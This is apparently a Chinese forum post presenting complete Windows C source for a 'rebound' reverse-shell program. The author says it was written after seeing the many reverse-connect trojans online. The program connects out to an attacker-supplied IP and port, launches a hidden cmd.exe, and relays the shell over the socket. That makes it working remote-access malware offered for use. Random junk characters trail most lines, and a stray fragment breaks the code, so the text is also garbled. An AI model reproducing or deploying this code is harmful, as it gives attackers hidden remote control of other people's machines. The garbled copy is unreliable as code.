这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :ye)%UU"|:
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/* ============================== ~vF.k,
Rebound port in Windows NT q*'hSt@+D
By wind,2006/7 4)XN1r:
===============================*/ lg!1q8
#include .|iUDp6vz
#include T-<^mX[}
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#pragma comment(lib,"wsock32.lib") !;R{-
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void OutputShell(); ~t#'X8.)
SOCKET sClient; [r]USCq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9Ft)VX
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void main(int argc,char **argv) T /]ayc:
{ ?m~x%[Vn
WSADATA stWsaData; zGz5|u
int nRet; +<3tv&"
SOCKADDR_IN stSaiClient,stSaiServer; ]B5\S
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if(argc != 3) HP?e?3.T
{ A:p0p^*
printf("Useage:\n\rRebound DestIP DestPort\n"); VQ}=7oe%q
return; Z2
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} F92n)*[
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WSAStartup(MAKEWORD(2,2),&stWsaData); ly^F?.e-
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "CZ`hx1|^
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stSaiClient.sin_family = AF_INET; jj.yB#T
stSaiClient.sin_port = htons(0); >,~JQ%1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xJO[pT v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [&Qrk8EN
{ (Ojg~P4;&
printf("Bind Socket Failed!\n"); }4bwLO
return; Qs,LK(1
} yLY2_p-X
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stSaiServer.sin_family = AF_INET; k@wT,?kD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9Y/c<gbY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HVk3F|]V
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xE0+3@_>>
{ _$, .NK,6
printf("Connect Error!"); $'&`k,a3|P
return; bBDgyFSI<
} hl# 9a?
OutputShell(); d<Z`)hI{K
} \kg2pF[V
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void OutputShell() p*dez!
{ 3Um\?fj>}(
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; ?j $z[_K
OSVERSIONINFO stOsversionInfo; ,q:6[~n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; : ;d&m
STARTUPINFO stStartupInfo; #s]]\
char *szShell; y2<g96
PROCESS_INFORMATION stProcessInformation; b%v1]a[
unsigned long lBytesRead; Q2Q`g`* O:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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qed;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); =Qz8"rt#
stSecurityAttributes.lpSecurityDescriptor = 0; zlXkD~GV
stSecurityAttributes.bInheritHandle = TRUE; 3z5,4ps
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); np)-Yzr
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a Y{E'K=
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P}aJvFlmP
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T!/$@]%\7
stStartupInfo.wShowWindow = SW_HIDE; =fRP9`y
stStartupInfo.hStdInput = hReadPipe; -`Z5#8P
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;
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GetVersionEx(&stOsversionInfo); ,ciNoP*-~%
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switch(stOsversionInfo.dwPlatformId) |1t30_ /gS
{ Nzr zLK
case 1: WM>9sJf
szShell = "command.com"; d;'@4NX5+
break; c| p
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default: ;GvyL>|-~
szShell = "cmd.exe"; d;dcLe
break; j)J4[j
} (]iw#m{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l
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send(sClient,szMsg,77,0); pX!S*(Q{
while(1) <'s1+^LC
{ q4U?}=PD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); fT
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if(lBytesRead) /'">H-r
{ KsHovv-A
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qAG0t{K
send(sClient,szBuff,lBytesRead,0); ~_h4|vG
} u/k#b2BqL
else Ar>Om!]=v
{ .4?M.Z4[
lBytesRead=recv(sClient,szBuff,1024,0); we{*%8I;
if(lBytesRead<=0) break; 46$u}"E
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aY"qEH7]
} y0rT=kU
} bC)<AG@Z\
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return; FUHa"$Bg
}